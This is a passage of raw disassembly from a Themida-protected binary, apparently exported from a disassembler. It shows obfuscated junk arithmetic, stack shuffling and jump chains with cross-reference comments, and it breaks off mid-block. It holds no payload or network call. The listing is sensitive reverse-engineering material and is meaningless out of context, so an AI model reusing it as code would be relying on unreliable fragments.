loc_5A2C7D: ; CODE XREF: Themida_:00596F82j
pop esp
push 2D7Ch
mov [esp], eax
mov eax, 2
add edi, eax
pop eax
jmp loc_59692E
; ---------------------------------------------------------------------------
loc_5A2C93: ; CODE XREF: Themida_:005993A9j
mov bp, 3CA9h
xor dx, bp
pop bp
jmp loc_5A1AC0
; ---------------------------------------------------------------------------
loc_5A2CA1: ; CODE XREF: Themida_:005A9E30j
pop esi
jmp loc_59C69A
; ---------------------------------------------------------------------------
loc_5A2CA7: ; CODE XREF: Themida_:005A0471j
add edx, 5937663h
pop esi
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_59DD4A
; ---------------------------------------------------------------------------
loc_5A2CBD: ; CODE XREF: Themida_:0059D54Bj
add eax, 4
jmp loc_5968EB
; ---------------------------------------------------------------------------
loc_5A2CC7: ; CODE XREF: Themida_:005A7D27j
add esp, 4
jmp loc_5A703E
; ---------------------------------------------------------------------------
loc_5A2CD2: ; CODE XREF: Themida_:0059B8ECj
xor ebx, [esp]
mov esp, [esp]
test cx, ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A2CE1: ; CODE XREF: Themida_:005A113Fj
pop eax
sub esp, 4
mov [esp], esi
mov esi, 124819D6h
push ecx
mov ecx, 3A7C5081h
sub esi, 62C37655h
sub esi, ecx
add esi, 62C37655h
pop ecx
neg esi
add esi, 0D7CBC959h
add eax, esi
pop esi
push 6449h
mov [esp], ebp
push edx
push esp
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], eax
jmp loc_59C729
; ---------------------------------------------------------------------------
loc_5A2D30: ; CODE XREF: Themida_:005A3A1Cj
push ebx
jmp loc_59A085
; ---------------------------------------------------------------------------
loc_5A2D36: ; CODE XREF: Themida_:0059A375j
sub ebp, 77C530AEh
xchg ebx, ebp
not ebx
xchg ebx, ebp
push edx
mov edx, 70AE285Bh
sub edx, 677730DAh
or edx, 3E0D09E4h
shr edx, 3
add edx, 0EECF1DAEh
sub ebp, edx
pop edx
jmp loc_5986F0
; ---------------------------------------------------------------------------
loc_5A2D65: ; CODE XREF: Themida_:005A8BDDj
pop dword ptr [esp]
mov esp, [esp]
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A2D7B: ; CODE XREF: Themida_:005A0B70j
add ebx, 42605A66h
shr ebx, 8
sub esp, 4
mov [esp], edi
mov edi, 8DD95C86h
sub ebx, edi
mov edi, [esp]
add esp, 4
xor eax, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5A8658
; ---------------------------------------------------------------------------
loc_5A2DA7: ; CODE XREF: Themida_:005A3713j
shl bh, 7
sub esp, 2
mov [esp], dx
mov dh, 0D1h
add bh, 0B6h
sub bh, dh
sub bh, 0B6h
mov dx, [esp]
add esp, 2
sub dh, 52h
add dh, 0B4h
sub dh, bh
sub dh, 0B4h
jmp loc_59795B
; ---------------------------------------------------------------------------
loc_5A2DD8: ; CODE XREF: Themida_:005A35C4j
mov [esp], ecx
jmp loc_59EC1C
; ---------------------------------------------------------------------------
loc_5A2DE0: ; CODE XREF: Themida_:005A05C5j
mov ebx, esi
pop esi
add ebx, ecx
pop ecx
and ecx, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5A8544
; ---------------------------------------------------------------------------
loc_5A2DF3: ; CODE XREF: Themida_:005A2BD7j
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push 6E72h
mov [esp], ebp
jmp loc_5A460E
; ---------------------------------------------------------------------------
loc_5A2E12: ; CODE XREF: Themida_:005975C3j
mov edi, 4
jmp loc_5995E2
; ---------------------------------------------------------------------------
loc_5A2E1C: ; CODE XREF: Themida_:0059E428j
xor ecx, 0CBB8E14Ch
add edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5976F0
; ---------------------------------------------------------------------------
loc_5A2E32: ; CODE XREF: Themida_:0059E3BAj
add esp, 4
push bx
mov bl, 6
sub dh, bl
pop bx
sub al, dh
push dword ptr [esp]
mov edx, [esp]
push edx
mov edx, esp
jmp loc_59E00A
; ---------------------------------------------------------------------------
loc_5A2E50: ; CODE XREF: Themida_:005A7007j
mov eax, 5E875AEFh
shl eax, 7
not eax
dec eax
shr eax, 6
not eax
add eax, 6AD1955Ah
sub edx, 4ED754B9h
sub edx, eax
add edx, 4ED754B9h
pop eax
jmp loc_5A91F8
; ---------------------------------------------------------------------------
loc_5A2E79: ; CODE XREF: Themida_:005995BFj
shl esi, 2
sub esi, 0FE749C7h
xor esi, 3C8FD4E1h
jmp loc_5A1F53
; ---------------------------------------------------------------------------
loc_5A2E8D: ; CODE XREF: Themida_:005A7908j
push edi
mov edi, esp
add edi, 4
jmp loc_5A1220
; ---------------------------------------------------------------------------
loc_5A2E9B: ; CODE XREF: Themida_:005A6DBEj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5AA71D
; ---------------------------------------------------------------------------
loc_5A2EB1: ; CODE XREF: Themida_:005A69BAj
or edi, 79F10C3Eh
dec edi
sub edi, 793750A0h
jmp loc_5A29F8
; ---------------------------------------------------------------------------
loc_5A2EC3: ; CODE XREF: Themida_:005A962Aj
xchg ecx, [esp]
push ecx
not dword ptr [esp]
pop ecx
xchg ecx, [esp]
pop ebp
dec ebp
sub esp, 4
mov [esp], edx
mov edx, 441D17A9h
sub ebp, edx
pop edx
push 7FCBh
jmp loc_5A3C2C
; ---------------------------------------------------------------------------
loc_5A2EEB: ; CODE XREF: Themida_:005A8A8Fj
or ebp, ecx
jmp loc_5A0C8B
; ---------------------------------------------------------------------------
loc_5A2EF2: ; CODE XREF: Themida_:005A32C1j
xchg ebp, [esp]
mov esp, [esp]
add ecx, 68A0708Eh
push 5C8Ah
mov [esp], ebx
push 4490h
mov [esp], ebp
jmp loc_5A7B33
; ---------------------------------------------------------------------------
loc_5A2F13: ; CODE XREF: Themida_:0059A736j
mov [esp], ebx
push ebp
jmp loc_59A3F2
; ---------------------------------------------------------------------------
loc_5A2F1C: ; CODE XREF: Themida_:0059BCF1j
add eax, 177951F9h
pop esi
jmp loc_598337
; ---------------------------------------------------------------------------
loc_5A2F27: ; CODE XREF: Themida_:005A528Aj
sub esp, 4
mov [esp], ecx
push 4
jmp loc_5A5FED
; ---------------------------------------------------------------------------
loc_5A2F37: ; CODE XREF: Themida_:005A70F0j
sub ebp, 0B315157h
sub ecx, ebp
mov ebp, [esp]
add esp, 4
sub ecx, 2A907CC3h
add ecx, edi
add ecx, 2A907CC3h
add ecx, 71C52E9Ch
push 4369h
jmp loc_5A1C15
; ---------------------------------------------------------------------------
loc_5A2F63: ; CODE XREF: Themida_:005A36ECj
push ebx
mov bl, 13h
sub bl, 49h
jmp loc_59FB5E
; ---------------------------------------------------------------------------
loc_5A2F6E: ; CODE XREF: Themida_:005A6D9Ej
pop ebx
shr edx, 8
xor edx, 0BC3C64h
add ebx, edx
pop edx
sub esp, 4
mov [esp], edi
push edx
mov edx, 2
jmp loc_5A6BB6
; ---------------------------------------------------------------------------
loc_5A2F8F: ; CODE XREF: Themida_:005A67A7j
pop ebx
shr ebx, 5
not ebx
xor ebx, 0C051F858h
jmp loc_5997BC
; ---------------------------------------------------------------------------
loc_5A2FA0: ; CODE XREF: Themida_:005A4338j
sub eax, ebp
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
xchg eax, [esp]
jmp loc_5A93FB
; ---------------------------------------------------------------------------
lodsb
jmp loc_5A3F23
; ---------------------------------------------------------------------------
loc_5A2FC2: ; CODE XREF: Themida_:0059FA10j
pop ebx
jmp loc_59A104
; ---------------------------------------------------------------------------
loc_5A2FC8: ; CODE XREF: Themida_:005A0B07j
sub esp, 4
jmp loc_5A3D27
; ---------------------------------------------------------------------------
loc_5A2FD3: ; CODE XREF: Themida_:0059B4F6j
sub esp, 2
mov [esp], dx
push 47D2h
mov [esp], esi
push small 1D55h
pop si
push eax
jmp loc_59A015
; ---------------------------------------------------------------------------
loc_5A2FEE: ; CODE XREF: Themida_:005A214Dj
xor dh, 0Ah
sub al, 50h
sub al, dh
jmp loc_5A4F48
; ---------------------------------------------------------------------------
loc_5A2FFA: ; CODE XREF: Themida_:005A4D1Ej
not eax
and eax, 32597422h
or eax, 410E5A6Eh
jmp loc_59EAA8
; ---------------------------------------------------------------------------
loc_5A300B: ; CODE XREF: Themida_:005A2BDEj
pop edx
jmp loc_59AE06
; ---------------------------------------------------------------------------
loc_5A3011: ; CODE XREF: Themida_:005992EAj
sub ebx, 4
jmp loc_5A04B9
; ---------------------------------------------------------------------------
loc_5A301C: ; CODE XREF: Themida_:005A6ABFj
pop ebp
pop ebp
xor ebx, [esp]
xor [esp], ebx
jmp loc_5A5B2C
; ---------------------------------------------------------------------------
loc_5A3029: ; CODE XREF: Themida_:005A161Dj
mov [esp], esi
mov esi, 4
add eax, esi
pop esi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push 5DAAh
mov [esp], edi
push 319Bh
push esp
pop dword ptr [esp]
push esi
mov esi, 4
add [esp+4], esi
pop esi
push dword ptr [esp]
jmp loc_5A7FCB
; ---------------------------------------------------------------------------
loc_5A3064: ; CODE XREF: Themida_:005A81B1j
mov esp, [esp]
push 78E8h
mov [esp], edx
push 7D94600Bh
pop edx
shl edx, 1
neg edx
jmp loc_597E65
; ---------------------------------------------------------------------------
push 2212h
mov [esp], eax
sub esp, 4
mov [esp], esi
push 1
pop esi
mov eax, esi
push dword ptr [esp]
pop esi
jmp loc_59BFB1
; ---------------------------------------------------------------------------
loc_5A309D: ; CODE XREF: Themida_:005993F8j
mov edi, [esp]
add esp, 4
sub edx, eax
sub edx, 4DF67197h
jmp loc_59CB40
; ---------------------------------------------------------------------------
loc_5A30B3: ; CODE XREF: Themida_:0059ACEFj
mov esp, [esp]
jmp loc_5979F9
; ---------------------------------------------------------------------------
loc_5A30BB: ; CODE XREF: Themida_:0059BE18j
add cl, 0AEh
not cl
or cl, 73h
sub cl, 0A9h
xor bl, cl
jmp loc_5989CA
; ---------------------------------------------------------------------------
loc_5A30CD: ; CODE XREF: Themida_:0059A89Bj
push 343Ah
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_59844F
; ---------------------------------------------------------------------------
loc_5A30E2: ; CODE XREF: Themida_:005A9B62j
mov ebx, 2FAAEEB9h
add eax, ebx
pop ebx
add edx, eax
mov eax, [esp]
jmp loc_597124
; ---------------------------------------------------------------------------
loc_5A30F4: ; CODE XREF: Themida_:005A5061j
pop ebp
xor ebp, 3FF0140Ah
mov ebx, ebp
mov ebp, [esp]
add esp, 4
add esi, ebx
push dword ptr [esp]
pop ebx
push 27A6h
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5A52EF
; ---------------------------------------------------------------------------
loc_5A3124: ; CODE XREF: Themida_:00596103j
push esi
jmp loc_59E90F
; ---------------------------------------------------------------------------
loc_5A312A: ; CODE XREF: Themida_:0059CC4Dj
push esi
push edi
jmp loc_5A48A8
; ---------------------------------------------------------------------------
loc_5A3131: ; CODE XREF: Themida_:0059887Fj
push esi
jmp loc_5A8BBB
; ---------------------------------------------------------------------------
loc_5A3137: ; CODE XREF: Themida_:0059F2C8j
pop ebx
add ebx, esi
pop esi
sub edx, ebx
pop ebx
pop eax
xor eax, edx
push dword ptr [esp]
jmp loc_59DF0E
; ---------------------------------------------------------------------------
loc_5A3149: ; CODE XREF: Themida_:005A5705j
add ecx, edi
pop edi
push ebp
mov ebp, 74027B2Fh
dec ebp
jmp loc_59E726
; ---------------------------------------------------------------------------
loc_5A3158: ; CODE XREF: Themida_:0059DD84j
xor eax, ecx
jmp loc_59906A
; ---------------------------------------------------------------------------
loc_5A315F: ; CODE XREF: Themida_:005A150Ej
pop esp
jmp loc_5AA8A4
; ---------------------------------------------------------------------------
loc_5A3165: ; CODE XREF: Themida_:0059EFDBj
pop esi
jmp loc_5A8438
; ---------------------------------------------------------------------------
loc_5A316B: ; CODE XREF: Themida_:005AA009j
sub esi, eax
sub esi, 73025945h
sub esi, 1B78105Bh
mov eax, [esp]
jmp loc_5A83C8
; ---------------------------------------------------------------------------
loc_5A3181: ; CODE XREF: Themida_:0059BC93j
mov [esp], edi
mov edi, esp
jmp loc_59AEB0
; ---------------------------------------------------------------------------
loc_5A318B: ; CODE XREF: Themida_:0059FE9Cj
xor ecx, [esp]
mov esp, [esp]
jmp loc_597C92
; ---------------------------------------------------------------------------
loc_5A3196: ; CODE XREF: Themida_:005A21B2j
add esi, edi
pop edi
jmp loc_5A43BE
; ---------------------------------------------------------------------------
loc_5A319E: ; CODE XREF: Themida_:00598390j
add esp, 4
push esi
push 4
pop esi
jmp loc_59EFF5
; ---------------------------------------------------------------------------
loc_5A31B0: ; CODE XREF: Themida_:005A8D41j
xchg edi, [esp]
not edi
jmp loc_59CD3F
; ---------------------------------------------------------------------------
loc_5A31BA: ; CODE XREF: Themida_:005A1C46j
add esp, 4
jmp loc_5A5AAA
; ---------------------------------------------------------------------------
loc_5A31C2: ; CODE XREF: Themida_:0059EA43j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_5A01D8
; ---------------------------------------------------------------------------
loc_5A31D0: ; CODE XREF: Themida_:005A6138j
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_5A9786
; ---------------------------------------------------------------------------
loc_5A31E3: ; CODE XREF: Themida_:0059D645j
add al, dh
sub al, 0Bh
pop edx
add al, 8Eh
and dh, al
mov eax, [esp]
jmp loc_596800
; ---------------------------------------------------------------------------
loc_5A31F4: ; CODE XREF: Themida_:005AA408j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A31F9: ; CODE XREF: Themida_:0059BA0Cj
pop esp
sub [esp], al
pushf
jmp loc_59638C
; ---------------------------------------------------------------------------
loc_5A3203: ; CODE XREF: Themida_:0059DF09j
inc bh
jmp loc_5A2578
; ---------------------------------------------------------------------------
loc_5A320A: ; CODE XREF: Themida_:005A15C0j
sub esi, edx
pop edx
jmp loc_5A76EE
; ---------------------------------------------------------------------------
loc_5A3212: ; CODE XREF: Themida_:005A0C2Bj
sub esp, 4
mov [esp], edx
jmp loc_5A4462
; ---------------------------------------------------------------------------
loc_5A321D: ; CODE XREF: Themida_:005A8E72j
mov ebp, 4
add eax, ebp
pop ebp
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_59CBEB
; ---------------------------------------------------------------------------
loc_5A3231: ; CODE XREF: Themida_:0059DEA8j
add eax, 77250A24h
mov esi, [esp]
add esp, 4
sub eax, 28006611h
sub eax, ebx
jmp loc_59A8DA
; ---------------------------------------------------------------------------
loc_5A324B: ; CODE XREF: Themida_:00597751j
xchg ebp, esi
push eax
push edi
jmp loc_5A6B01
; ---------------------------------------------------------------------------
loc_5A3254: ; CODE XREF: Themida_:00596BECj
mov [esp], esi
push edi
mov edi, esp
jmp loc_5A2400
; ---------------------------------------------------------------------------
loc_5A325F: ; CODE XREF: Themida_:005A3C27j
add ebx, 5F857303h
sub ebx, 0A9C8778Dh
add ecx, ebx
pop ebx
sub ecx, 4
jmp loc_59B36B
; ---------------------------------------------------------------------------
loc_5A3276: ; CODE XREF: Themida_:005A03D8j
pop edx
mov ebp, esi
jmp loc_5AB03E
; ---------------------------------------------------------------------------
loc_5A327E: ; CODE XREF: Themida_:00598215j
push 423Fh
mov [esp], ebx
push 2
mov ebx, [esp]
add esp, 4
add edi, 68042EDDh
add edi, ebx
sub edi, 68042EDDh
jmp loc_59F07E
; ---------------------------------------------------------------------------
loc_5A32A7: ; CODE XREF: Themida_:0059E0B6j
add edx, edi
jmp loc_5980F8
; ---------------------------------------------------------------------------
loc_5A32AE: ; CODE XREF: Themida_:0059A34Dj
xor ebx, [esp]
pop esp
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5A2EF2
; ---------------------------------------------------------------------------
loc_5A32C6: ; CODE XREF: Themida_:005982B6j
sub edi, 0EC7542CDh
push ecx
mov ecx, edi
mov esi, ecx
jmp loc_5A42A1
; ---------------------------------------------------------------------------
loc_5A32D6: ; CODE XREF: Themida_:0059F9E9j
mov eax, 134E5459h
jmp loc_5A1D66
; ---------------------------------------------------------------------------
loc_5A32E0: ; CODE XREF: Themida_:005A62E8j
push eax
push esi
mov esi, 15A041C3h
shr esi, 2
jmp loc_5AAAB8
; ---------------------------------------------------------------------------
loc_5A32EF: ; CODE XREF: Themida_:0059ECC5j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A7BF1
; ---------------------------------------------------------------------------
loc_5A32FA: ; CODE XREF: Themida_:005AA9C7j
push dword ptr [esp]
pop ecx
add esp, 4
push edi
jmp loc_5AA037
; ---------------------------------------------------------------------------
loc_5A330A: ; CODE XREF: Themida_:005A46F0j
mov ebp, 4
add edi, 259038D1h
add edi, ebp
sub edi, 259038D1h
mov ebp, [esp]
push eax
jmp loc_59D549
; ---------------------------------------------------------------------------
loc_5A3326: ; CODE XREF: Themida_:00598850j
add ecx, 3B1D19A8h
pop esi
jmp loc_597FE2
; ---------------------------------------------------------------------------
loc_5A3332: ; CODE XREF: Themida_:005A71C4j
pop eax
add esp, 4
push esi
push esp
pop esi
push 384h
mov [esp], eax
mov eax, 56E14C66h
push ecx
push edx
push 56E14C62h
jmp loc_597E95
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A335A: ; CODE XREF: Themida_:0059DACCj
mov esi, esp
add esi, 4
jmp loc_5A8C13
; ---------------------------------------------------------------------------
loc_5A3367: ; CODE XREF: Themida_:0059BCE5j
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, esp
push ecx
push 2E03h
mov [esp], esp
add dword ptr [esp], 4
mov ecx, [esp]
jmp loc_597860
; ---------------------------------------------------------------------------
loc_5A338D: ; CODE XREF: Themida_:0059A362j
sub bl, dl
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5A2BBA
; ---------------------------------------------------------------------------
loc_5A33A0: ; CODE XREF: Themida_:005A1C66j
sub edx, 677A39F0h
and edx, 17215EE5h
neg edx
shl edx, 6
jmp loc_5982DF
; ---------------------------------------------------------------------------
loc_5A33B6: ; CODE XREF: Themida_:005A65D2j
mov ecx, esp
push eax
mov eax, 67732204h
not eax
and eax, 794B6525h
jmp loc_5A06A9
; ---------------------------------------------------------------------------
loc_5A33CA: ; CODE XREF: Themida_:0059E91Ej
pop ebx
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59A184
; ---------------------------------------------------------------------------
loc_5A33E5: ; CODE XREF: Themida_:005AA213j
add esi, 4
jmp loc_59C152
; ---------------------------------------------------------------------------
loc_5A33F0: ; CODE XREF: Themida_:005AA97Ej
xor ebp, 0BAAA5B72h
add edx, ebp
pop ebp
pop ebx
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_5A1EAE
; ---------------------------------------------------------------------------
loc_5A340B: ; CODE XREF: Themida_:005971EBj
sub ebx, 684948CFh
or ebx, 47C11FB7h
push edi
mov edi, 7378234Eh
jmp loc_59B35D
; ---------------------------------------------------------------------------
loc_5A3422: ; CODE XREF: Themida_:00598E1Ej
push edi
mov edi, 2D5463F8h
sub esi, 45FC7BB6h
add esi, edi
add esi, 45FC7BB6h
jmp loc_59A096
; ---------------------------------------------------------------------------
loc_5A343B: ; CODE XREF: Themida_:005A613Ej
sub bh, 0B4h
sub bh, al
add bh, 0B4h
jmp loc_5AA39A
; ---------------------------------------------------------------------------
loc_5A3448: ; CODE XREF: Themida_:00597136j
mov esi, 4
add eax, esi
pop esi
push edi
mov edi, 4
add eax, edi
pop edi
xchg eax, [esp]
pop esp
sub edx, 2
xchg edx, [esp]
mov esp, [esp]
jmp loc_5A7D04
; ---------------------------------------------------------------------------
loc_5A346E: ; CODE XREF: Themida_:005983BEj
xor ebp, [esp]
jmp loc_599706
; ---------------------------------------------------------------------------
loc_5A3476: ; CODE XREF: Themida_:00599EC2j
push ecx
mov ecx, 8B44713h
mov edi, ecx
pop ecx
mov ebp, 0DD488926h
jmp loc_5A81B6
; ---------------------------------------------------------------------------
loc_5A3489: ; CODE XREF: Themida_:005A52D6j
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push edx
mov dl, 0F0h
shr dl, 2
shl dl, 5
neg dl
neg dl
add dl, 4Bh
push ecx
jmp loc_5AA17D
; ---------------------------------------------------------------------------
loc_5A34B2: ; CODE XREF: Themida_:005A9703j
mov edi, esi
pop esi
mov edx, edi
pop edi
or ebp, edx
mov edx, [esp]
add esp, 4
dec ebp
push ebp
not dword ptr [esp]
push dword ptr [esp]
pop ebp
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub ebp, 0FFFFFFFFh
jmp loc_5A88C7
; ---------------------------------------------------------------------------
loc_5A34E1: ; CODE XREF: Themida_:005A9EEDj
add ebx, edi
push dword ptr [esp]
pop edi
add esp, 4
push eax
jmp loc_59624D
; ---------------------------------------------------------------------------
loc_5A34F3: ; CODE XREF: Themida_:005A738Aj
or edi, 48A74C7h
shr edi, 6
add edi, 0FEADD609h
jmp loc_599854
; ---------------------------------------------------------------------------
loc_5A3507: ; CODE XREF: Themida_:00596809j
push edx
mov edx, 4
add esi, edx
pop edx
xchg esi, [esp]
pop esp
add dh, 3Fh
sub al, 0BBh
sub al, dh
add al, 0BBh
pop edx
add al, cl
sub esp, 2
mov [esp], bx
mov bl, 41h
add al, bl
jmp loc_59BA11
; ---------------------------------------------------------------------------
loc_5A3533: ; CODE XREF: Themida_:0059F301j
mov esp, [esp]
jmp loc_5A8EC0
; ---------------------------------------------------------------------------
loc_5A353B: ; CODE XREF: Themida_:00596280j
push esi
mov esi, 5C9D125Ch
or edx, esi
pop esi
shl edx, 2
jmp loc_5AB451
; ---------------------------------------------------------------------------
loc_5A354C: ; CODE XREF: Themida_:005A0505j
push edx
jmp loc_5A1BE2
; ---------------------------------------------------------------------------
loc_5A3552: ; CODE XREF: Themida_:005A6D85j
add esi, 0A3672E5h
add esi, edx
sub esi, 0A3672E5h
sub esi, 63452C00h
jmp loc_5A6831
; ---------------------------------------------------------------------------
loc_5A356B: ; CODE XREF: Themida_:005A54A0j
shl edi, 7
sub edi, 496B9C32h
jmp loc_5A1E68
; ---------------------------------------------------------------------------
loc_5A3579: ; CODE XREF: Themida_:0059AECDj
not ebx
push eax
jmp loc_5A44E1
; ---------------------------------------------------------------------------
loc_5A3581: ; CODE XREF: Themida_:0059E7ABj
add ebp, 6BD70431h
mov ecx, ebp
mov ebp, [esp]
add esp, 4
sub ecx, ebx
jmp loc_5A0EDD
; ---------------------------------------------------------------------------
loc_5A3596: ; CODE XREF: Themida_:0059BFE1j
neg esi
or esi, 7C145E6Fh
and esi, 6A9621B8h
xor esi, 25126B38h
add esi, 105093Bh
push esi
not dword ptr [esp]
pop esi
shr esi, 5
jmp loc_59B9C6
; ---------------------------------------------------------------------------
loc_5A35BD: ; CODE XREF: Themida_:0059DE0Dj
push esi
sub esp, 4
jmp loc_5A2DD8
; ---------------------------------------------------------------------------
loc_5A35C9: ; CODE XREF: Themida_:005AA51Cj
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], ecx
mov ecx, 4997657Ch
add ecx, 28114F3h
jmp loc_5964DD
; ---------------------------------------------------------------------------
loc_5A35F1: ; CODE XREF: Themida_:0059DFC2j
xor ebx, 53C95C14h
push dword ptr [esp]
jmp loc_59C899
; ---------------------------------------------------------------------------
loc_5A35FF: ; CODE XREF: Themida_:005A1CCDj
pop ecx
xchg ebx, [esp]
jmp loc_5977FE
; ---------------------------------------------------------------------------
loc_5A3608: ; CODE XREF: Themida_:0059B85Cj
pop esp
jmp loc_5AB1B6
; ---------------------------------------------------------------------------
loc_5A360E: ; CODE XREF: Themida_:005AA8CCj
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A3622: ; CODE XREF: Themida_:005A959Fj
add esp, 4
sub ecx, 78C05CCDh
push eax
mov eax, 752D09A6h
jmp loc_59EF23
; ---------------------------------------------------------------------------
loc_5A3636: ; CODE XREF: Themida_:005A8ABCj
push ebp
jmp loc_5AAE22
; ---------------------------------------------------------------------------
loc_5A363C: ; CODE XREF: Themida_:0059E306j
xor edx, 63414B8h
or edx, 7A7769DAh
jmp loc_5A4670
; ---------------------------------------------------------------------------
loc_5A364D: ; CODE XREF: Themida_:0059ECA2j
add ecx, edx
jmp loc_5A9A81
; ---------------------------------------------------------------------------
loc_5A3654: ; CODE XREF: Themida_:00598255j
push 168D65A1h
jmp loc_59ECA7
; ---------------------------------------------------------------------------
loc_5A365E: ; CODE XREF: Themida_:005A70DFj
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_5A3D9F
; ---------------------------------------------------------------------------
loc_5A366B: ; CODE XREF: Themida_:00599C55j
pop edi
push ebp
jmp loc_59D7E9
; ---------------------------------------------------------------------------
loc_5A3672: ; CODE XREF: Themida_:00599244j
add ebp, 4
jmp loc_5A5EC8
; ---------------------------------------------------------------------------
loc_5A367D: ; CODE XREF: Themida_:005A8D7Dj
sub [esp+4], ebx
push ecx
push edi
mov edi, 783E3AD8h
inc edi
shr edi, 1
dec edi
shl edi, 4
push edx
mov edx, 0AE267165h
jmp loc_5A51B1
; ---------------------------------------------------------------------------
loc_5A369A: ; CODE XREF: Themida_:005A6A9Dj
pop eax
jmp loc_5A75D8
; ---------------------------------------------------------------------------
loc_5A36A0: ; CODE XREF: Themida_:005AA5BFj
push edi
mov edi, 4
jmp loc_59606A
; ---------------------------------------------------------------------------
loc_5A36AB: ; CODE XREF: Themida_:0059A8FFj
sub esi, ebp
sub esi, 3C8A48C9h
mov ebp, [esp]
add esp, 4
and eax, esi
push dword ptr [esp]
pop esi
add esp, 4
or edx, eax
shl edx, 1
jmp loc_5988B7
; ---------------------------------------------------------------------------
loc_5A36CE: ; CODE XREF: Themida_:005AA568j
sub ebp, 2F6B3081h
mov edi, [esp]
jmp loc_59855C
; ---------------------------------------------------------------------------
loc_5A36DC: ; CODE XREF: Themida_:00596A5Dj
push 1F1Ah
mov [esp], edx
push 4106h
mov [esp], eax
jmp loc_5A2F63
; ---------------------------------------------------------------------------
loc_5A36F1: ; CODE XREF: Themida_:005A4814j
add edi, ebx
pop ebx
add edi, 77025CFCh
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_596F7F
; ---------------------------------------------------------------------------
loc_5A3711: ; CODE XREF: Themida_:0059B590j
not bh
jmp loc_5A2DA7
; ---------------------------------------------------------------------------
loc_5A3718: ; CODE XREF: Themida_:0059EB6Cj
add ebp, 19777DEAh
add ebp, edx
sub ebp, 19777DEAh
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
push 42184B94h
jmp loc_596062
; ---------------------------------------------------------------------------
loc_5A373F: ; CODE XREF: Themida_:0059BDA1j
add esp, 4
push ebx
mov ebx, 85B3DBBh
xor ebx, 0CD18DAh
or ebx, 587D5F44h
or ebx, 37FB3B52h
dec ebx
add ebx, 24C2423Bh
sub ebx, 6F2A7874h
or edi, ebx
pop ebx
sub esp, 4
mov [esp], ebp
mov ebp, 41C95056h
jmp loc_5A7B53
; ---------------------------------------------------------------------------
loc_5A3780: ; CODE XREF: Themida_:005A4E06j
add edx, 4
add edx, 4
jmp loc_5962A1
; ---------------------------------------------------------------------------
loc_5A378E: ; CODE XREF: Themida_:00599AB9j
or esi, 55E25759h
push ebp
mov ebp, 77F67FFBh
xor esi, ebp
pop ebp
jmp loc_5A9E7A
; ---------------------------------------------------------------------------
loc_5A37A2: ; CODE XREF: Themida_:0059C7C1j
mov ecx, 4FF70B68h
jmp loc_59E4FF
; ---------------------------------------------------------------------------
loc_5A37AC: ; CODE XREF: Themida_:005A8E8Ej
sub eax, 4
jmp loc_5A75B0
; ---------------------------------------------------------------------------
loc_5A37B6: ; CODE XREF: Themida_:00599340j
mov esp, [esp]
jmp loc_5A5CC5
; ---------------------------------------------------------------------------
loc_5A37BE: ; CODE XREF: Themida_:005992F2j
push edi
jmp loc_59CDFA
; ---------------------------------------------------------------------------
loc_5A37C4: ; CODE XREF: Themida_:0059B01Ej
push esi
mov esi, 60EF6B08h
jmp loc_598FD9
; ---------------------------------------------------------------------------
loc_5A37CF: ; CODE XREF: Themida_:00599D0Ej
pop esi
jmp loc_59A352
; ---------------------------------------------------------------------------
loc_5A37D5: ; CODE XREF: Themida_:005AA032j
push esp
mov ebx, [esp]
add esp, 4
push esi
jmp loc_5A0526
; ---------------------------------------------------------------------------
loc_5A37E2: ; CODE XREF: Themida_:005A4237j
pop edx
xchg ebp, [esp]
jmp loc_5A7140
; ---------------------------------------------------------------------------
loc_5A37EB: ; CODE XREF: Themida_:005A5FAEj
pop ebx
mov edx, edi
mov edi, [esp]
add esp, 4
add ebp, edx
pop edx
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], ebp
mov ebp, 5FE01A38h
mov ecx, 5FE01A3Ah
xor ecx, ebp
pop ebp
add ebp, ecx
pop ecx
jmp loc_59A237
; ---------------------------------------------------------------------------
loc_5A3818: ; CODE XREF: Themida_:0059CC13j
mov [esp], edi
mov edi, 2C5D077Bh
jmp loc_5A0920
; ---------------------------------------------------------------------------
loc_5A3825: ; CODE XREF: Themida_:00598AC0j
sub ebx, eax
